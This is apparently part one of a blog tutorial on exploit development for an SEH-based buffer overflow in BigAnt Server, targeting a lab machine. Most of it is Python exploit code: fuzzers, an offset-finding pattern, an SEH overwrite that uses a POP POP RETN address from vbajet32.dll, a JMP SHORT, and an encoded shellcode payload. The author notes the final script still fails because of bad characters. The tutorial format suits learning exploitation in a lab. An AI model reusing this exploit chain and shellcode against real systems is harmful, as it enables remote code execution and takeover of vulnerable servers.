now i will try to share about process vulnerability development on an application SEH and safeSEH.
- first, make fuzzer, run the application and then attach process AntServer into ollydbg.
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="USV " + "\x41" * 2500 + "\r\n\r\n"
s.connect(('192.168.56.101',6660))
s.send(buffer+'\r\n')
print("kirim ...")
s.close()
the fuzzer try to send 2500 byte character A into BigAnt Server. we can see that the application crash, but the EIP not overwrite by buffer that we send. this is because the application use SEH that will catch the exeption.
to see into SEH, choose menu view --> SEH Chain
to forward the data from SEH chain into memory, press shift + F9, so the EIP will be overwrite.
we can see that the buffer that we send have been entered into the stack. to see the data in memory, right click on stack line --> follow in dump.
- then, search the stepping stone
in here, we try to use module that used by application as stepping stone. to see the module, click menu view --> Executable modules.
there are two rule on the module to use as stepping stone.
first, the not compiled using /safeSEH ON
second, the module not have or use flag IMAGE_DLLCHARACTERISTICS_NO_SEH. usually starts with code 0x0400.
in here, we try to use file vbajet32.dll. on C:\WINDOWS\system32\VBAJET32.DLL copy the file vbajet32.dll into backtrack sistem and paste it into folder /tmp or anywhere you want. then use msfpescan to read the function of DllCharacteristics.
root@bt:/pentest/exploits/framework2# msfpescan -i /tmp/vbajet32.dll | grep SEHandler
root@bt:/pentest/exploits/framework2# msfpescan -i /tmp/vbajet32.dll | grep DllCharacteristics
we can see the results that value on second byte is 0, it means, this module has no protection of SEH or safeSEH.
next step, we serach the command POP, POP, RETN inside this module. double click on file vbajet32.dll, then right click --> search for --> sequence of commands
and then type POP r32, POP r32, RETN
so we have found the memory address vbajet32.dll at offset 0F9A196A and doesn't contain value \x00, \x0a and \x0d.
- then search the offset to everwrite the address SEH.
create the pattern for 2500 byte, then copy and paste the pattern into the fuzzer after that run it again
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="USV "
buffer+="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D" + "\r\n\r\n"
s.connect(('192.168.56.101',6660))
s.send(buffer+'\r\n')
print("kirim ...")
s.close()
run the fuzzer again and enter into SEH chain then press shift + F9
then, use pattern offset
we know that we need 966 byte buffer to trigger the SEH handler.
then, edit the fuzzer like this.
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="USV "
buffer+="\x90" * 962
buffer+="\xCC\xCC\xCC\xCC"
buffer+="\x41\x41\x41\x41"
buffer+="\x90" * (2504-len(buffer))
buffer+="\r\n\r\n"
s.connect(('192.168.56.101',6660))
s.send(buffer+'\r\n')
print("kirim ...")
s.close()
we can see that the value buffer \x41 success enter into SEH handler.
- next step, control the CPU process
after we got the address of byte that used for handling SEH, it's time to use the address of vbajet32.dll
edit the fuzzer like this
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="USV "
buffer+="\x90" * 962
buffer+="\xCC\xCC\xCC\xCC"
buffer+="\x6A\x19\x9A\x0F" #address on file vbajet32.dll
buffer+="\x90" * (2504-len(buffer))
buffer+="\r\n\r\n"
s.connect(('192.168.56.101',6660))
s.send(buffer+'\r\n')
print("kirim ...")
s.close()
run the fuzzer again and see the SEH chain
we can see that the address of vbajet32.dll have been entered into SEH chain.
press shift+F9 to forward process into memory vbajet32.dll
then, press shift+F9 again to continue , so the process will throw into sequence of command POP POP RETN in memory vbajet32.dll
then, press F7 until reach the command RETN
but we have a problem, because space of memory just availabe 4 bytes and it not enough to save a shellcode. therefore, we need another process to move the location into address that have available large memory. to find it, right click on first address of \xCC (0194FD7C) --> follow in dump --> selection. so ollydbg will leads into stack memory.
we can see that available great space memory (\x90) begin address 0194FD7C. to leads the CPU process from 4 byte into empty space that followed by command overwrite address of SEH, we can use command JMP SHORT. this command is used to order the CPU to jump forward just a few byte.
to leads into stack, we need jump for 6 bytes (4 bytes for pass the SEH and 2 bytes to fill the rest of the opcode). so the value of opcode will became \xeb\x06\x90\x90.
- make the shellcode
#!/usr/bin/python
import socket
target_address="192.168.56.101"
target_port=6660
buffer+="\x90" * 962
buffer+="\xeb\x06\x90\x90" # JMP SHORT 6
buffer+="\x6A\x19\x9A\x0F" # address of file vbajet.dll
buffer+="\x90" * 16
buffer+=("\x31\xc9\xdb\xc3\xb1\x51\xd9\x74\x24\xf4\xbf\x97\x33\xf4\x5b\x5b"
"\x31\x7b\x15\x83\xeb\xfc\x03\xec\x22\x16\xae\xee\x2f\x3d\x1c\xe6"
"\x49\x3e\x60\x09\xc9\x4a\xf3\xd1\x2e\xc6\x49\x25\xa4\xa4\x54\x2d"
"\xbb\xbb\xdc\x82\xa3\xc8\xbc\x3c\xd5\x25\x0b\xb7\xe1\x32\x8d\x29"
"\x38\x85\x17\x19\xbf\xc5\x5c\x66\x01\x0f\x91\x69\x43\x7b\x5e\x52"
"\x17\x58\xb7\xd1\x72\x2b\x98\x3d\x7c\xc7\x41\xb6\x72\x5c\x05\x97"
"\x96\x63\xf2\x24\x8b\xe8\x8d\x46\xf7\xf2\xec\x55\xc6\xd1\x8b\xd2"
"\x6a\xd6\xd8\xa4\x60\x9d\xaf\x38\xd4\x2a\x0f\x48\x78\x45\x1e\x06"
"\x8a\x79\x4e\x69\x44\xe7\x3c\xf3\x01\xdb\xf0\x93\xa6\x68\xc7\x3c"
"\x1d\x70\xf7\xaa\x56\x63\x04\x11\x39\x83\x23\x3a\x30\x9e\xaa\x45"
"\xaf\x69\x31\x10\x5a\x68\xca\x4a\xf2\xb5\x3d\x9f\xae\x11\xc1\x89"
"\xe2\xce\x6e\x66\x56\xb2\xc3\xcb\x0b\xcb\x34\xad\xc3\x22\xe9\x57"
"\x47\xcc\xf0\x02\x0f\x6a\xe8\x5c\x17\x25\xf2\x4a\xfd\xda\x5d\x27"
"\xfd\x0b\x35\x63\xac\x82\x2f\x3c\x50\x0c\xfc\x97\x51\x61\x6b\xf2"
"\xe7\x04\x25\xab\x08\xde\xe6\x07\xa3\x8a\xf9\x77\xd8\x5d\xe1\x0e"
"\x19\xe4\xba\x0f\x73\x42\xba\x3f\x1a\x07\x20\xd9\x8b\xb4\xc5\xac"
"\xa9\x51\x46\xf7\x18\x6a\xef\xe0\x31\x36\x79\x0c\xf4\x76\x8a\x7a"
"\x09\x34\x40\x84\xb4\x95\x09\xf5\x43\xde\x86\xae\x1f\x76\xab\x4e"
"\xec\x91\xb4\xdb\x57\x61\x9c\x78\x0f\xcf\x70\x2f\xfe\x85\x73\x9e"
"\x51\x0f\x25\xdf\x82\xc7\x68\xc6\x26\xd6\x20\x07\xfe\x8c\x39\x08"
"\xc8\xaf\x16\x7d\x60\xac\x14\x45\xeb\xb3\xcd\x17\x0b\x9b\x9a\xe9"
"\x2b\xfe\x28\x46\x33\x29\x31\xb8")
buffer+="\x90" * (2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
print("kirim")
sock.close()
but it not works. SEH have been saved the wrong value.
SEH should be leads into file vbajet32.dll. To know where is the fault (fuzzer or payload), try to delete the payload and then run it again.
so we know that the problem is on the payload.
So, we have to search the Bad Character.
so i will explain to find out the bad character until we got the access in system windows xp in
here (Exploit BigAnt Server part 2)